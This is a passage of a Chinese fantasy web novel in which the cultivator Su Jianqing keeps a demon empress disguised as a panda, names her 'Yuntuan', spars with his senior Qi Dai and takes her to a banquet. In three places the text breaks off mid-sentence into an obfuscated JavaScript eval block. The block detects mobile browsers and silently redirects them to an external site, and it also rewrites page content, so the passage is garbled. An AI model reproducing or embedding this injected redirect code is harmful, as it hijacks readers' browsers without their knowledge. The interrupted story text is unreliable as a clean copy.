苏见清眉心微拧,回头瞧了眼还在打滚的食铁兽,“齐师兄,它灵性颇高,若是听了你这话,怕是要生气了。” 齐岱毫不在意挥手,“没事,它听不着。” 再说了,他还能怕一只食铁兽不成? 将生发膏交到苏见清手上,齐岱道:“你赶紧拿去给它用吧。” 苏见清犹豫过后收下了,又从芥子囊内取出灵石,“齐师兄……” 不等他说完,齐岱旋身飞上灵剑,溜得飞快,“我还有事便不与苏师弟寒暄了,咱们改日再会。” 眨眼已飞出青竹峰。 离得远了,齐岱偏头瞧了眼远处隐约可见的青竹,无奈耸肩。 一瓶生发膏又花不了几个钱,以他们生死与共的交情,苏师弟竟也想给他灵石。 这可真是,算得也太清了。 齐岱摇摇头,御剑回洞府。 …… 苏见清低头看着手心的生发膏。 余光里,一只蟋蟀跳出草坪,食铁兽被它吸引注意,爪子往它身上一拍。 蟋蟀险险避开,跳到另一边,食铁兽朝着它的方向动了动身子,却并未追去,而是朝苏见清走来。 等它走到脚边,苏见清绕到它身后,伸手碰了碰光秃丑陋的后背。 他从未养过灵兽,还以为这身漂亮的毛发需得养些时日,却不知还有生发膏这种东西。 打开盖子,苏见清将透明药膏轻轻抹在食铁兽后背软肉上。 药膏冰凉,并无异味,食铁兽乖乖坐着,任由他动作。 抹完药,苏见清将剩下的收入芥子囊,拍拍食铁兽的脑袋,由着它玩耍,独自回了厨房。 蕴禾眉头微动,看在那姓齐的剑修帮了她一把的份上,这次就不计较他的冒犯了。 袖子一挥,一道结界将她与食铁兽笼罩。 蕴禾对食铁兽勾了勾手,它立起身子,一步步走来。脑袋在触碰到蕴禾的刹那发出一道绿光,光芒散去,原地再无食铁兽的身影,唯有一根飘在半空的发丝。 蕴禾跳下青羽,将发丝连同青羽一同收回。 结界散去的刹那,一只食铁兽卧在蕴禾所在地。 她与先前那只一般无二,唯一的区别便是全身毛发完整,眼珠熠熠似辉,灵动十足。 蕴禾优雅起身,一步步走入竹屋。 两只爪子攀住精致漂亮的竹床,她翻身而上躺在柔软的玉青蚕丝被中,脸上露出享受的表情。 别说,这几日睡多了青羽,突然换成床还挺舒服的。 蕴禾打了个哈欠,脸颊在蚕丝被上蹭了蹭,闭眼浅眠。 她没睡太深,因此香味钻进来的第一时间便醒了。 用力嗅了两下,蕴禾翻身下床朝厨房走。 她到时苏见清正从里边出来,眉眼轻弯,恰如清风朗月,松下冷泉。 “正要叫你呢,该吃饭了。” 蕴禾跟着苏见清进去,目标直奔矮桌。 “欸。” 苏见清一回头,只见她坐在矮桌前,直愣愣地盯着桌上饭菜,两只黑眼珠仿佛能发出光。 他走过去,“今日不吃竹笋了?” 食铁兽颇为人性化地白他一眼,爪子指着桌上饭菜催促。 苏见清在她身边坐下,执箸夹了凉拌藕片喂到蕴禾嘴边。 蕴禾往下看看藕片,又看看苏见清,黑眼珠里冒出莫名其妙。 苏见清疑惑,“怎么不吃?” 蕴禾刚要抬手,余光扫过自己毛茸茸的爪子,脸色蓦地僵了一瞬。 她一门心思只想着吃苏见清亲手做的饭菜,都忘了自己现在是原形。以这个形象吃饭,姿势定会不雅。 在心里纠结片刻,蕴禾毫无心理负担张嘴,一口咬住苏见清筷子上的藕片。 苏见清这人看着冷冷淡淡的,但无论是清淡还是重口都能接受,这藕片极为脆嫩,调料丰富,又麻又辣。 蕴禾吃得眼睛亮起,张开嘴继续等待投喂。 苏见清轻轻弯眼,又给她夹了片藕。 一盘子见了底,蕴禾仍不满足,爪子理所当然地指着别的菜肴,直到一桌子饭菜都被苏见清喂进了她肚子里,这才意犹未尽地闭了嘴。 苏见清掏出帕子替她擦嘴,嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716885|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角抿出一点笑,“胃口这么好?” 蕴禾吃饱了开始犯困,懒洋洋看他一眼,待苏见清擦完嘴,她四肢着地,转身就往外走。 食铁兽屁股一扭一扭的,动作闲适又优雅,后背干净顺滑,行走间黑色毛发似鸟翼展翅。 苏见清喃喃自语,“那生发膏效果这么好?” 不过一个时辰,背后的毛发竟然全长出来了? 改日得好生谢过齐师兄才是。 苏见清若有所思。 等食铁兽的身影消失,他低头瞧着被吃得干干净净的碗碟,轻轻摇了下头,从芥子囊内摸出辟谷丹吃下,旋即将矮桌收拾干净。 离开厨房回竹屋的路上,苏见清察觉到食铁兽并未在屋里,转道去了外头。 没走几步,便见她仰躺在草坪上,一腿支起,另一条腿搭在上头,有一下没一下地晃荡着。 碧蓝苍穹上飘着几朵白云,和风徐徐,草叶轻轻摇曳,竹涛阵阵,飘起缕缕竹香。 苏见清在她身旁坐下,两条长腿平放在地,难得闲适地赏景。 这么多年,他除了修炼就是修炼,空余时间都用来钻研厨艺了,这般闲适的日子着实少有。 空中有朵白云形状似猫,苏见清看着,竟觉得和身边的胖团子有些相似。 他忽然起了话音,“你应该没有名字吧?” 蕴禾原本半眯着眼要睡不睡,一听这话眉头当即皱起,瞌睡都跑了一半。 一只手轻柔地落在脑袋上,苏见清嗓音清润,“又胖又圆,往后我叫你胖胖如何?” 蕴禾猛地睁眼。 瞌睡一下子全没了。 她大怒。 这什么破名字! 谁胖了,谁胖了? 她这叫健硕!!强壮!!! 蕴禾抬手给了苏见清一下,瞪大眼睛以示愤怒拒绝。 她力道大,苏见清瓷白手背一下起了一片红,他毫不在意地甩甩手,迟疑道:“不喜欢,那圆圆呢?” 这和胖胖有什么区别?! 难听,简直难听死了! 蕴禾坐起身,又给了苏见清一巴掌。 素白肩上霎时多了一道掌印,苏见清掸两下,低声道:“胖胖不喜欢,圆圆也不喜欢,那团团?” 蕴禾白他一眼。 苏见清抿起唇,眉头因苦恼微微拧起。 取名这事,着实是他的弱项。 目光从青竹峰上扫过,看到什么说什么,“小竹子?小草,小花,小溪……?” 一个比一个难听,蕴禾已经懒得搭理他了,重新躺下去侧过身背对着苏见清。 视线掠过天空上的白云,苏见清顿住,眼睛微微一亮,偏头去看蕴禾,“云团怎么样,喜欢吗?” 虽然还是很普通,但这算得上是苏见清灵机一动的最高水平了。 且云与她的名字读音相似,勉勉强强还是能接受的。 蕴禾随意挥了挥爪子。 知道这是答应了,苏见清含笑唤她一声,“云团。” “云团,云团。” 他接连唤了好几声,蕴禾烦得要死,打了几个滚离他远些,抱头捂住耳朵,平躺在地闭上眼。 苏见清凤眸里蕴了笑。 伤好后是要灵动不少,与第一次见面时瞧见的那只聪明的食铁兽相差无几。 苏见清动了动唇,无声再次唤了声蕴禾的名字。 云团。 从今往后,这座青竹峰上,再也不是他孤身一人了。 11. 第 11 章 蕴禾打着哈欠醒来时,苏见清正好修炼完。 注意到食铁兽的目光,他提步蹲在蕴禾面前,手指抚了抚她脑袋上的柔软毛发,“晚上好,云团。” 蕴禾一巴掌拍掉他的手。 苏见清只是看了一眼,便轻声问:“晚上想吃什么?” 一听这话,蕴禾眼睛一亮,连懒散的姿势都端正不少。嘴一张,意识到自己此刻的形象,眼里的光肉眼可见地暗淡不少。 苏见清只觉惊奇。 伤势好后,这只食铁兽着实灵动不少,若非它一直在青竹峰上,他都要怀疑云团是被人掉包了。 食铁兽并不能回复他,苏见清起身去了厨房,目光扫过橱柜里的食材,有了主意。 上次云团好像就很喜欢吃他做的糕点,这次苏见清准备多做些放着。 他取出面粉,加水和面,低垂的眉眼清隽又认真。 蕴禾跟上去,趴在厨房外的草坪上,无聊地看着苏见清的动作。 她发现这人是真挺能忍的,明明识海里的痛一刻不停,偏生这两日就跟没事人似的,该做什么做什么,这般心性,看着的确是能成大事的。 怪不得最后能成为人修之首。 手边长着几株蒲公英,蕴禾撑着脑袋闲闲摘过,几点绒毛抖动,落在草叶上。 蕴禾对着蒲公英吹了口气。 恰好有一阵风迎面吹来,白色绒毛似无数把小伞散开,顺着风朝蕴禾扑来,一时间,她脸上全是冠毛。 “呸!” 蕴禾接连呸了好几声,试图呸去嘴巴上的小绒毛,一边用爪子拍脸。 “怎么了?” 听见动静的苏见清急急赶来,便见食铁兽趴在草地上半抬起头,一张毛茸茸熊脸上全是蒲公英绒毛。 她眼睛一只睁开一只闭着,爪子不停在脸上刨,表情扭曲中有一丝搞笑的可爱。 苏见清莞尔,“这是怎么弄的?” 晶亮黑眼珠里映着剑修的笑容。 苏见清极少笑,但他笑起来很好看,凤眼微弯,唇角轻轻往上翘,眸色清透如湖水,澄澈明净,又似雨后天空,宁静悠远。 蕴禾恼怒,笑什么笑,有什么好笑的! 她顾不上脸上绒毛,爬起身猛地往前一扑,将苏见清扑倒在地,两只爪子摁住他肩膀,嘴巴咧开,居高临下地望着他。 笑笑笑,再笑本皇要你好看! 颈边是食铁兽顺滑柔软的毛发,苏见清抿唇忍住笑,如玉长指替她摘去脸上绒毛,眸中星光点点,笑意清浅。 “好了,已经没了。” 苏见清理顺蕴禾脸上被她自己弄乱的毛发,拍拍她脑袋,凤眼微弯,“我的错,我不该笑,云团可以放开了吗?” 算你识相。 蕴禾乜他,一个骨碌翻身而起。 苏见清跟着起身,含着笑音叮嘱,“好好玩。” 随后回了厨房。 蕴禾重新趴回去,盯着地上剩余的蒲公英。 她凑过去重重吹了口气,旋即立即躲开,过了片刻才回头。 数把白色小伞在空中散开,顺着风飘飘荡荡,不知要飞去何方。 蕴禾对着它们哼一声,翻身打了个滚,两只脚翘着,爪子捧着熊脑袋,歪头看苏见清捏糕点。 这道视线强烈到令人无法忽视,苏见清一抬头,只见食铁兽捧着脸盯着他看,手上一抖,糕点险些掉落。 对上那双晶亮的黑眼睛,苏见清心跳快了一瞬,心头似被羽毛掠过,留下轻微痒意。 抑制住冲动,苏见清低头,继续捏着手里的糕点。 那是一只小兔子,眼睛红红,周身雪白,活灵活现。 蕴禾捏起,一口扔进嘴里。软糯香甜,唇齿留香。 苏见清做了不少糕点,满满五盘放在蕴禾面前,除了小兔子小猪形状的面点,还有荷花酥、栗子糕和绿豆糕。 “慢点吃。” 怕蕴禾吃着噎,苏见清还准备了一瓶梅子酒,打开的刹那,梅子的酸和酒的醇香一同钻进蕴禾鼻子。 她嗅了嗅,迫不及待伸手。 苏见清倒了一杯,杯底落在蕴禾掌心的前一瞬,他忽地狐疑,“你能喝酒吗?” 蕴禾对他露出死鱼眼。 苏见清却将梅子酒收回,重新给她取出一瓶果饮,“喝这个。” 清甜的桃子香弥漫,蕴禾的不满淡了,捧着瓶子大口喝下,神情变为愉快。 她一口糕点,一口果饮,吃得不亦说乎。 苏见清抿了口梅子酒,安静看她进食。 饭后,蕴禾照例躺在草坪上消食。 她躺在黑暗中,头顶璀璨星河簇拥着明月,月光与星光一同洒落人间。 檐下纱灯被风吹得闪烁,与竹林间一闪一闪的荧光互相照应。 收拾完的苏见清坐到蕴禾身边,同她赏了片刻景,随后打坐冥想。 蕴禾斜斜看他一眼,又躺回去两手放在脑袋下欣赏夜色。 醇厚澎湃的灵力爬上蕴禾双足,她偏过头。 苏见清头顶不知何时出现一道灵力漩涡,正疯狂为他吸收天地灵气。剑修闭着眼,眉头紧皱,额上淌出冷汗,周身围绕着灵气屏障。 蕴禾又看了眼夜空。 今晚夜色的确不错。 她心安理得地躺着,一下没动,这景赏着赏着,竟直接睡了过去。 等蕴禾醒来时,身旁的动静早已消失,苏见清盘腿而坐,面色平静,周围气息越发凝实。 蕴禾没管他,直起身子伸了个懒腰,四肢着地朝屋里走去,爬上竹床倒头就睡。 第二日走出竹屋,四处张望,却是咦一声。 苏见清竟然不在? …… 苏见清一早离开了青竹峰,目的明确飞往大衍峰。 与青竹峰的冷清不同,大衍峰上住了不少弟子,伏渊规定,金丹以下的弟子需听从各位长老教导,此时快到长老授课的时辰,一路走来,数名身着白衣的师兄弟对苏见清行以注目礼。 目光相对,皆是疑惑。 好端端的,这煞神怎么来了大衍峰? 行至大衍峰外,苏见清驻足,目光一转,朝一名神色和善的弟子问:“这位师弟,请问齐岱齐师兄住在何处?” 那名小弟子被吓一跳,紧张得喉咙吞咽。 在伏渊,苏见清之名可谓是如雷贯耳。 身为玄陵仙尊的亲传弟子,他天赋出众,从无败绩,斩杀魔修很是干净利落,堪称小辈中的第一人。 但性子冷,向来独来独往,极为神秘,简而言之就是不合群。距离远,又听多了他斩杀魔修的凶残事迹,久而久之,门内小弟子一听苏见清之名便忍不住心生敬畏。 小弟子反应须臾才回神,手指着某个方向,“齐、齐师兄住在山顶,颜色看着最鲜艳的那家。” 苏见清:“多谢。” 小弟子圆眼微睁,“苏师兄不必、不必客气。” 苏见清略一颔首,御剑飞往山顶。 小弟子注视着他的背影,等一回头,身旁已围了好几名师兄弟。 “师弟,那煞神寻你作甚?” “苏师兄来大衍峰做什么?” 叽叽喳喳的吵得人头疼。 苏见清并不知道自己走后师兄弟们讨论了什么,朝着山顶飞去,一眼瞧见一座花里胡哨的院子。 那瓦片竟是红色的,院门由珊瑚制成,其上缠绕着许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716886|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多花花草草,打眼望去只觉刺眼,可细细一看,灵花绽放,蝴蝶飞舞,又觉生动有趣。 苏见清在院门落定,“齐师兄。” “谁啊?” 里头传来声响,一只手推开门,露出齐岱的脸。 他略惊,“苏师弟,你怎么来了?” 苏见清礼貌道:“昨日齐师兄送来的生发膏极为有效,我是特地来道谢的。” 原来是这回事。 齐岱面色微松,大气摆手,“小事一桩,哪用得到苏师弟!” 最后三个字音量陡然加大,险些破音。 寒芒闪烁,苏见清手持长虹,直直朝齐岱攻来。 他一惊,在剑尖抵达胸膛前险险避开,长虹剑身雪亮,映照苏见清冷漠目光。 齐岱气愤不已,“苏师弟,你做什么?!” 苏见清充耳不闻,握着长虹再度攻来。 “苏见清!” 眼见苏见清来真的,齐岱顾不上其他,唤出佩剑与他战在一处。 二人的身影在空中急掠而过,震荡灵气吸引了数名金丹期弟子的注意。 隔壁院子门开了,有两道身影并肩走出,仰头望着空中一战。 “这是在做什么?好端端的怎么打起来了?” 一道清脆女声从齐岱屋里响起,下一瞬,容貌娟秀的女修走出来,拧眉望着眼前一幕,目光紧紧落在齐岱身上,神色是掩饰不住的担忧。 余光瞟到两道身影,女修翻墙过去,直奔二人,“方师兄,绿真师姐,齐岱怎么和苏师兄打起来了?” 胥绿真摇头,拉住女修的手安慰,“佩兰师妹,你别担心,他们只是在切磋,不会有事的。” 成佩兰紧皱的眉头不放,“可是……” “成师妹不必担心。” 方若望仰头盯着二人不放,眸中异彩连连,“依我看,齐师弟是要有场造化了。” “啊?造化?什么造化?” 胥绿真若有所思,“你别担心,仔细看他二人。” 成佩兰不解,却是听话抬头。 空中金戈之声不断,齐岱看似与苏见清旗鼓相当,实则已落下风。 数十招下来,他逐渐明白了苏见清之意,咬牙强撑着。 苏见清一剑斩来,齐岱最终不敌,从空中坠落。 “齐岱!” 成佩兰惊叫一声,冲上去接住齐岱。 后者以剑拄地,汗水从额上滑过。 喘了两口气,齐岱起身,拍了拍成佩兰的手,对落地的苏见清一揖,“多谢苏师弟。可否冒昧一问,苏师弟可是突破了?” 苏见清颔首,“昨日刚突破元婴。” 此话一出,周围尚未离去的弟子皆是一怔。 元婴。 伏渊这一辈弟子中第一个元婴。 不愧是苏见清啊,哪怕是身为掌门弟子的方若望,此时也不过是金丹后期而已。 意料之中的事,齐岱倒是没多意外,只是有些想不通苏见清为何助他。 苏见清的剑意里蕴含着他突破时的感悟,对齐岱助力极大,能让他少走些弯路。 这么一想,齐岱也问出来了。 苏见清长身玉立,嗓音清冷,“多谢齐师兄的生发膏。” 齐岱瞪眼。 就这? 一盒生发膏就让苏见清送他这么大的礼? 齐岱有些无言。 苏师弟可真是的,他竟有些无法评价。 不过齐岱仍旧认真道谢,“多谢苏师弟,往后有事你尽管吩咐,我齐岱一定义不容辞。” 苏见清:“齐师兄客气。” 他正准备告辞,余光一扫,视线落在成佩兰腰间。 12. 第 12 章 齐岱顺着苏见清的目光看过去,头皮一炸,当即抓住成佩兰的手腕将她拉到身边,笑容有那么些许僵硬,“苏师弟,这是成佩兰成师妹。” 介绍完他也没放开成佩兰的手,可见关系亲密。 方若望出声,“苏师弟。” 胥绿真站在他身边,笑容温和,“苏师弟。” 苏见清一一打过招呼,视线再度落在成佩兰腰间,“齐师兄不必紧张,我只是……” 顿了顿,他抿抿唇,白皙脸庞稍显赧然。 像是有盆凉水从天而降,齐岱心头哇哇凉。他过五关斩六将才抱得美人归,要是苏师弟……他还能有胜算吗? 成佩兰一看就知道他在想什么,丢脸丢得耳朵都红了。 这人还真当她是天仙啊,哪个男修见了都得爱上她。 内心虽嫌弃,但成佩兰眼角却泄出甜蜜,甩开齐岱的手并狠狠拧了他一下,上前两步朗声道:“苏师兄,我们见过的。” 苏见清一怔,仔细端详成佩兰五官,脑海里却毫无记忆。 成佩兰看他神情就知他忘了,倒也没尴尬,笑眼弯弯提醒,“前几日苏师兄在我那儿买了两床玉青蚕丝被。” 苏见清恍然大悟,“原来是师妹。” 成佩兰勾唇,手指绕着腰间红绳,“今日苏师兄是想买我这个?” 白皙指节勾着一根红绳,往下是一只毛绒绒的白色小猫,小猫脖子上系着金色铃铛,蓝色眼珠也不知是用什么做的,格外逼真。 尤其是小猫随着成佩兰的动作左右摇晃,越发憨态可掬,栩栩如生。 成佩兰笑眯眯的,“苏师兄若是想要,师妹今个儿给你打个折。” 苏见清目光追随了毛绒小猫好一会儿,轻轻摇头,像是赧然,“不知成师妹可否教我如何做这种毛绒玩偶?” 看到它的第一眼,苏见清便觉这种东西很适合做成云团的模样。 他想亲手做来试试。 苏见清补充,“师妹放心,我付灵石,且永远不会拿出来售卖。” 齐岱摸了把额上并不存在的汗水,松气似的拍拍胸膛。 吓死他了。 不过……苏师弟竟然喜欢这种小玩意? 成佩兰也有些意外,“苏师兄当真想学?” 苏见清点头。 眼珠一转,成佩兰勾唇一笑,秀丽脸庞被一瞬点亮,灵动秀美,“苏师兄才送了齐岱一份礼,我怎能要你的灵石?” 她又勾了下腰间毛绒小猫,双眼弯起,“师兄放心,不出两日,师妹我定能将你教会。” 苏见清嘴角一松,感激一揖,“多谢成师妹。” 成佩兰摇手,腰间毛绒小猫笑着晃动,“苏师兄不必这般客气。” 约定好后,苏见清准备离开,在一旁静立许久的方若望蓦地出声,“苏师弟的伤势如何?” 苏见清摇头,“已无大碍。” 身上外伤早被九转玄灵丹治好,哪怕是识海的痛这些时日苏见清也已习惯。对他来说,只要是习惯了的事,无论是疼痛还是其他,都不碍事。 从外表看,苏见清的确已恢复寻常,甚至和齐岱打一架都脸不红气不喘的,方若望便以为九转玄灵丹治疗神识的伤也有奇效,“前些时日说好了下山宴请苏师弟,既然师弟的伤已无碍,择日不如撞日,你看今日如何?” 甫听这话,苏见清有些后悔,早知道方才便说还疼着了。 可现在拒绝,倒像是他的托词,苏见清一时左右为难。 齐岱却不给他拒绝的机会,朗声笑道:“我看今日便不错,走走走,苏师弟,我一定得带你去尝尝半月楼的烧鸡。” 成佩兰拉着胥绿真,“我和绿真师姐也要去!” 胥绿真小声道:“他们答谢苏师弟,我们跟着去作甚?” 成佩兰噘嘴,“我想去嘛。” 少女娇憨又活泼,胥绿真招架不住,转头去看方若望。 方若望笑问:“不知苏师弟可介意多她们这对姐妹花?” 苏见清:“……不、介意。” “那咱们还不快走。” 齐岱率先迈步。 “齐师兄。” 苏见清叫住他,硬着头皮道:“我需得回青竹峰一趟。” 对上四人的目光,他解释,“云团脾气大,我若是一言不发离开,回去它定会发脾气。” “云团是谁?” 几人齐声询问。 不等苏见清回复,齐岱恍然大悟,“是你那只食铁兽?” 忆起初次见面时的情形,他点头赞同,“它的确脾气大。” 方若望:“那苏师弟先回去一趟,我们在山下等你。” 苏见清拒绝不了,只能应承,先行回了青竹峰。 他落地时,一眼见到躺在地上的食铁兽,听见动静耳朵一抖,却连头都没转,明显不想搭理他。 苏见清只好走到蕴禾面前。 阳光被人挡住,蕴禾烦躁挥手,滚了一圈,继续晒太阳。 过了两息,又被人挡得严严实实。 “我方才去寻了齐师兄。” 蕴禾很烦,踹了苏见清一脚,再次翻身避开他。 苏见清掸了掸膝盖上并不明显的印记,蹲下身道:“他们要在半月楼宴请我,你可有什么想吃的?我给你带回来。” 半月楼?宴请? 蕴禾猛地翻身坐起。 她眼下黑圈颜色极正,可一眼望去时,那双黑曜石般的眼珠并未被同化,反而存在感极强,乌黑透亮,干净又富有光泽。 四肢着地朝苏见清走了两步,眼睛里的渴望几乎要漫出来。 苏见清莞尔,“你也想去?” 蕴禾重重点头。 苏见清只思考了两息,“好,那你跟着我。” 灵光闪过,长虹现身,他捏了个诀。 山下多是练气期的人族,为避免产生误会或是引起恐慌,需提前做准备。 察觉到法诀落在身上,蕴禾下意识想要反击,妖气凝实前又被硬生生收回去。 她没再抗拒,身体逐渐缩小成一般兔子大小。 苏见清要来捞她,蕴禾迈着小短腿避开,扭着身子走到长虹边上,用力一蹬跃上剑身,回头一乜苏见清,神情很是不屑。 苏见清毫不吝啬夸赞,嘴角微勾,“云团真棒。” 蕴禾送他一个白眼,扭头弯下身子趴在剑身上。 苏见清跃上长虹,御剑飞下山。 两侧景物在眼中飞速后退,蕴禾下巴枕在手背上,竟有些惊奇。 以她的实力早已能做到御空而行,但她这妖懒,平日里出行若是有清淼跟随,必定是坐在青鸾背上。若是清淼不在,便用青羽代替。 这还是她第一次御剑。 论舒服,别说清淼了,连青羽都及不上。可探手便是缥缈白云,足下踩着山川河流,胸腔内自然而然升起一股豪情壮志与刺激感。 虽有各种不足,但偶尔坐坐感觉还不错。 到达伏渊山门,早有四人在此等候,不等蕴禾打量完那两名陌生的姑娘,齐岱朗声大笑,“苏师弟,咱们比比看谁先到达半月楼,输了的人自罚三杯!” 话音甫落,他已化为流光消失在山门前。 “齐岱,你耍赖!” 成佩云不服气地抱怨,下一刻人已追了上去。 方若望与胥绿真对视一眼,前者无奈一笑,后者温声道:“苏师弟,咱们也快走吧。” 又是两道流光从苏见清身旁掠过,他在原地静立片晌,注视着四人离开的方向。 蕴禾没回头,脚在苏见清腿上一蹬,无声催促。 怎么还不走? 苏见清睫羽下垂,在眼下投出两片阴影。 蕴禾等得不耐烦了,正要再给他一脚,身下长虹蓦地疾速飞出去。 爪子抓住剑身稳住身形,蕴禾朝天翻白眼,很想把苏见清踢下去。 伏渊山下的城镇名定安,因有伏渊仙门庇佑,城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716887|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内人族安居乐业,鲜有惹是生非之辈,街道两侧商铺林立,可见繁华之景。 五道灵光降落在定安城内半月楼前,身影还未现,便有笑音爽朗道:“苏师弟,你输了,待会儿可要自罚三杯。” 苏见清抱起蕴禾,收回长虹,略一颔首。 一行五人入了半月楼。 齐岱是半月楼的熟人了,跑堂一见他,立即笑着迎上,“齐仙君,可还是上次的厢房?” 齐岱点头,“行,将店里的好酒好菜各上一份,烧鸡先来五份,不够再上。” 跑堂喜笑颜开,“好嘞,您快楼上请。” 齐岱轻车熟路带着四人上楼。 跑堂给每人倒了杯茶,这才退出厢房。 “咦?” 苏见清将将端起茶杯,忽然听见成佩兰的声音,“苏师兄,你还带了你那只食铁兽?” 几人顺着成佩兰的目光看去,一眼便见坐在苏见清手边的缩小版食铁兽。 她两腿放直,前肢放在腹部,看上去小小一团,脑袋圆圆的,嘴巴微微弯起,像是在笑,憨态可掬,可爱得成佩兰两眼放光,眸底全是喜爱,“好可爱啊。” 胥绿真亦是眼睛发亮,视线盯着蕴禾不放。 成佩兰猛地抬头去看苏见清,期待问:“苏师兄,我可以摸摸它吗?” 苏见清委婉道:“云团脾气不太好。” 他没瞧见,手边的蕴禾朝他龇了龇牙。 “没关系。”成佩兰捧着脸,眼睛里冒出星星,“它这么可爱,脾气坏点怎么了?” “这只食铁兽的脾气是真的不好。”齐岱摇头,“不过……” 将蕴禾此刻的模样收入眼中,他嘟囔道:“变成这样,是真挺可爱的。” 他就坐在苏见清隔壁,一只手鬼鬼祟祟朝蕴禾摸去,在离她三寸远时,蕴禾猛地一个飞踢重重踹在齐岱手上。 “嘶。” 齐岱龇牙咧嘴,吹着被踢红的手背,“劲是真大啊,性子也是真的野。” “谁让你招惹它了?” 成佩兰白齐岱一眼,转头去看蕴禾时满口夸奖,“绿真姐姐,它方才落地时的动作好可爱,小小的一团,好想把它抱在怀里。” 胥绿真失笑。 一手小心翼翼地试探着靠近,半道被人截住。 方若望一手握住胥绿真,另一手靠近桌上的食铁兽。 蕴禾看他一眼。 她记性不错,还记得这名聪明的剑修。对于聪明人,尤其是会赚钱的聪明人,蕴禾一向很包容,反应倒是没那么大,只是在方若望的手靠近时拍了他一巴掌。 声音不如齐岱的清脆,他立即表示不满,“凭什么对我这么粗暴,对待方师弟却那么温柔?” 成佩兰哼道:“当然是你不值得温柔。” 她蠢蠢欲动,也伸出手朝蕴禾靠近。 指腹触碰到柔软毛发却没被攻击,成佩兰欢喜得险些晕过去,“小宝,你太可爱了!毛毛好软,想亲!” 手下没忍住,又摸了一下。 看在她是个漂亮女修的份上,蕴禾最多只让摸三下,三下过后立即后退。 成佩兰遗憾收回手,拉着胥绿真撒娇,“绿真姐姐,你快替我摸两下!” 胥绿真伸手,同样只摸了三下,蕴禾便推开了她的手。 不过她已经很满足了,嘴角带笑,“云团真棒。” 成佩兰也积极应和,“云团宝宝真可爱,不愧是整个伏渊最可爱的食铁兽!啊啊好想把小宝偷回家!” 整个伏渊除了她还有哪只食铁兽? 蕴禾对两人的夸奖嗤之以鼻,神色舒展,两只毛茸茸的熊耳朵动了动。 耳朵尖尖忽然被捏住,蕴禾抬头,眼前是苏见清放大的俊脸。 他低下头凑近,清新竹香刹那朝她扑来。 干净清润的嗓音微磁,“云团最棒。” 指腹在耳朵尖上摩挲,苏见清眸底蕴着柔色,“不过,有我在,谁也偷不走。” 13. 第 13 章 面前男子的眸底似有一圈又一圈的漩涡,引人陷入其中,迷失方向。 蕴禾和他对视片刻,面无表情扒开苏见清的手。 笑话,堂堂妖皇谁能偷走? 这世上能偷走她的,无论是人还是妖,抑或是魔都还没出生呢。 苏见清顺势捏了捏食铁兽又小又软的肉垫,端起桌上茶盏,将茶喂到蕴禾嘴边。 蕴禾屈尊降贵张口,爪子搭在苏见清手背,咕咚咕咚喝了两口。 成佩兰双手捂心,一脸喜爱地拉住胥绿真手背,“绿真师姐,云团太可爱了,连喝水都这么可爱!” 齐岱酸溜溜开口,“有这么夸张吗?不就是一只普通的食铁兽?” 成佩兰瞪他,“不会说话你就别开口。你们这些臭男人,当然不懂毛绒团子的可爱之处。” 齐岱手动闭嘴,中间隔着苏见清与方若望说话。 菜很快上齐,坐在苏见清手边的蕴禾立即正襟危坐,有股要大吃一场的架势。 苏见清取了个碟子,每样菜都给蕴禾夹了一点。 成佩兰好奇问:“苏师兄,云团喜欢吃这些?” 苏见清点头,“她前段时日喜爱竹笋,这几日更偏爱人族吃食。” 成佩兰了解,给蕴禾夹了一颗翡翠丸子,笑着说:“这是我很喜欢的一道菜,云团也尝尝。” 胥绿真也将一只鸡腿放在蕴禾碟子里,“半月楼的招牌,云团吃吃看可还喜欢。” 他们夹的菜大多是干食,蕴禾双手捧着鸡腿咬了一口。 几日没吃,半月楼的烧鸡一如既往美味。 见她两手捧着鸡腿咬的可爱模样,成佩兰眼里冒星星,正要说话,齐岱将翡翠丸子塞进她嘴里,“好了好了,赶紧吃吧,凉了味道可就不好了。” 成佩兰嚼了两下,嘴巴鼓起,“哦。” 蕴禾两耳不闻窗外事,埋头就是吃,碟子空了苏见清会立即添上,还时不时喂她一口果饮,因而蕴禾这顿饭吃得可谓是心满意足,就连苏见清越过齐岱和成佩兰说了什么也没听清。 饭后,齐岱瘫在椅子上发呆,方若望默默饮茶,成佩兰拉着胥绿真将齐岱扯到一旁,坐在苏见清身边与他说话。 蕴禾吃饱了就容易犯困,靠着苏见清小臂打盹。 迷迷糊糊时,后背陡然一空,蕴禾身子后仰,好在一只手将她抓住才没掉下桌。 她睁眼的瞬间,脑海里的第一个念头便是攻击,忽地两个指头捏住她的手,抬头只见苏见清捏着帕子,正在替她擦干净爪子和毛发上的油渍。 